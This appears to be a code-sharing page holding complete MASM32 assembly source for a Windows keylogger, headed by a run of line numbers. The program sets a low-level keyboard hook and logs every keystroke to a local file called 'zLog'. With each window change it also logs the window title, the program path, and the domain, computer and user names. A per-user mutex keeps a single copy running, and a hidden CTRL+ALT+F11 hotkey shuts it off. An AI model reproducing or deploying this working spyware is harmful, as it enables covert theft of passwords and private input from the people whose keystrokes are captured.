1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 |
.386 .model flat, stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\advapi32.inc include \masm32\include\msvcrt.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\msvcrt.lib pushz macro szText:VARARG local nexti call nexti db szText,00h nexti: endm fopen PROTO C :DWORD, :DWORD fprintf PROTO C :DWORD, :VARARG fflush PROTO C :DWORD fclose PROTO C :DWORD .data hBuffer dd ? hComputerName db 32 dup(0) hCurrentThreadPiD dd 0 hCurrentWindow dd 0 hDateFormat db "dd MMM yyyy", 0 hDomaineName db 128 dup(0) hFile dd 0 hHook dd 0 hmodul MODULEENTRY32 <> hSnapShot dd 0 hTimeFormat db "hh:mm:ss tt", 0 hUserName db 32 dup(0) msg MSG <> onlyOneCopy db "Global\zkl",0 .code main: push offset onlyOneCopy ; check to make sure we are the only copy push 0 ; of this program running for this user push 0 ; for fast user switching we can still have call CreateMutexA ; one copy per user running with this check call GetLastError ; but if this user is running one already. we exit cmp eax,ERROR_ALREADY_EXISTS je more_than_one_copy xor ebx, ebx ; Zero Out ebx push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together push MOD_CONTROL or MOD_ALT push 0badfaceh ; name of register key -> "0BADFACE" push ebx ; call RegisterHotKey ; we got a new hot key pushz "ab" ; append in binary mode pushz "zLog" ; name of log file call fopen ; open the log file add esp, 2*4 ; all c lib functions need fixup.. mov [hFile], eax ; save our file number push ebx call GetModuleHandleA ; get our module handle for setting the hook push ebx ; register our keyboard hook proc and start hooking push eax push offset KeyBoardProc ; where our hook proc is located push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13 call SetWindowsHookExA ; Look MOM no DLL Needed :P mov [hHook], eax ; ok here is our hook handle for later push ebx ; We Need to check for messages like our push ebx ; hot key, so we can close when we get it push ebx push offset msg ; it will be in the message struct call GetMessageA ; wait for a message push [hHook] ; we got the hot key, lets close up house call UnhookWindowsHookEx ; make sure we unhook things to be nice push [hFile] ; close our logfile before we stop call fclose add esp, 04 more_than_one_copy: push eax ; call stop and lets go away call ExitProcess ;############################################################## KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD LOCAL lpKeyState[256] :BYTE LOCAL lpClassName[64] :BYTE LOCAL lpCharBuf[32] :BYTE LOCAL lpDateBuf[12] :BYTE LOCAL lpTimeBuf[12] :BYTE LOCAL lpLocalTime :SYSTEMTIME ;---------------------------- lea edi, [lpKeyState] ; lets zero out our buffers push 256/4 pop ecx xor eax, eax rep stosd ; sets us up for doubleword from EAX mov eax, wParam cmp eax, WM_KEYUP ; only need WM_KEYDOWN je next_hook ; bypass double logging cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN je next_hook ; bypass double logging call GetForegroundWindow ; get handle for currently used window ( specific to NT and after ) cmp [hCurrentWindow], eax ; if its not different to last one saved.. je no_window_change ; bypass all the headings mov [hCurrentWindow], eax ; save it for use now and compare later push 64 ; get the class name lea esi, [lpClassName] push esi push [hCurrentWindow] call GetClassName lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime push esi call GetLocalTime push 12 ; invoke GetDateFormat, NULL, NULL \ lea esi, [lpDateBuf] push esi ; ADDR lpLocalTime, ADDR hDateFormat \ lea esi, [hDateFormat] push esi ; ADDR lpDateBuf, Size of 12 lea esi, [lpLocalTime] push esi push 0 push 0 call GetDateFormat ; format the date push 12 ; invoke GetTimeFormat, NULL, NULL \ lea esi, [lpTimeBuf] push esi ; ADDR lpLocalTime, ADDR hTimeFormat \ lea esi, [hTimeFormat] push esi ; ADDR lpTimeBuf, Size of 12 lea esi, [lpLocalTime] push esi push 0 push 0 call GetTimeFormat ; format the time lea esi, [hCurrentThreadPiD] ; get the processid that sent the key push esi ; using the HWND we got earlier from mov eax, [hCurrentWindow] ; our GetForegroundWindow call push eax ; we need it to get the program exe name call GetWindowThreadProcessId mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so..... push ebx ; we need to use ToolHelp procs to get push TH32CS_SNAPMODULE ; the program exe name of who sent us call CreateToolhelp32Snapshot ; this key mov hSnapShot,eax ; save the ToolHelp Handle to close later mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail push offset hmodul ; first Module is always module for process mov eax, [hSnapShot] ; so safe to assume that the exe file name here push eax ; will always be the right one for us call Module32First mov eax, [hSnapShot] ; we are done with ToolHelp so we need push eax ; to tell it we wish to close call CloseHandle push 256 ; find the window title text lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so push esi mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow push eax call GetWindowText push offset hmodul.szExePath lea esi, [lpTimeBuf] ; print the formatted time push esi lea esi, [lpDateBuf] ; print the formatted date push esi pushz 13,10,"[%s, %s - Program:%s]",13,10 push [hFile] call fprintf ; write the buffer to cache add esp, 3*4 lea esi, [lpClassName] ; print the Window Class Name push esi lea esi, [lpKeyState] ; print the Window Title push esi pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10 push [hFile] call fprintf ; write the buffer to cache add esp, 3*4 mov hBuffer, 128 ; get the current domain name push offset hBuffer push offset hDomaineName push 1 call GetComputerNameExA mov hBuffer, 32 ; get the current computer name push offset hBuffer push offset hComputerName push 0 call GetComputerNameExA mov hBuffer, 32 ; get the current user name push offset hBuffer push offset hUserName call GetUserNameA push offset hUserName ; print the user name push offset hComputerName ; print the computer name push offset hDomaineName ; print the domain name pushz "[ Domain:%s - Computer:%s - User:%s]",13,10 push [hFile] call fprintf ; write to cache add esp, 3*4 push [hFile] call fflush ; flush data buffer to disk.. add esp, 4 no_window_change: mov esi, [lParam] ; we don't want to print shift or capslock names. lodsd ; it just makes the logs easier to read without them. cmp al, VK_LSHIFT ; they are tested later when distinguishing between je next_hook ; bypass left shift Key for upper/lowercase characters cmp al, VK_RSHIFT je next_hook ; bypass right shift Key cmp al, VK_CAPITAL je next_hook ; bypass caps lock Key cmp al, VK_ESCAPE je get_name_of_key ; we Want escape characters cmp al, VK_BACK je get_name_of_key ; we want backspace key cmp al, VK_TAB je get_name_of_key ; we want tab key ;------------------ lea edi, [lpCharBuf] ; zero initialise buffer for key text push 32/4 pop ecx xor eax, eax rep stosd ;---------- lea ebx, [lpKeyState] push ebx call GetKeyboardState ; get current keyboard state push VK_LSHIFT ; test if left shift key held down call GetKeyState xchg esi, eax ; save result in esi push VK_RSHIFT ; test right.. call GetKeyState or eax, esi ; al == 1 if either key is DOWN mov byte ptr [ebx + 16], al ; toggle a shift key to on/off push VK_CAPITAL call GetKeyState ; returns TRUE if caps lock is on mov byte ptr [ebx + 20], al ; toggle caps lock to on/off mov esi, [lParam] lea edi, [lpCharBuf] push 00h push edi ; buffer for ascii characters push ebx ; keyboard state lodsd xchg eax, edx lodsd push eax ; hardware scan code push edx ; virutal key code call ToAscii ; convert to human readable characters test eax, eax ; if return zero, continue jnz test_carriage_return ; else, write to file. get_name_of_key: ; no need for large table of pointers to get asciiz mov esi, [lParam] lodsd ; skip virtual key code lodsd ; eax = scancode shl eax, 16 xchg eax, ecx lodsd ; extended key info shl eax, 24 or ecx, eax push 32 lea edi, [lpCharBuf] push edi push ecx call GetKeyNameTextA ; get the key text push edi pushz "[%s]" ; print the special key text jmp write_to_file test_carriage_return: push edi pushz "%s" ; print regular keys cmp byte ptr [edi], 0dh ; carriage return? jne write_to_file mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read. write_to_file: push [hFile] ; where we write to the log file call fprintf add esp, 2*4 next_hook: push [lParam] ; reply for possible other hooks waiting push [wParam] push [nCode] push [hHook] call CallNextHookEx ret KeyBoardProc ENDP end main |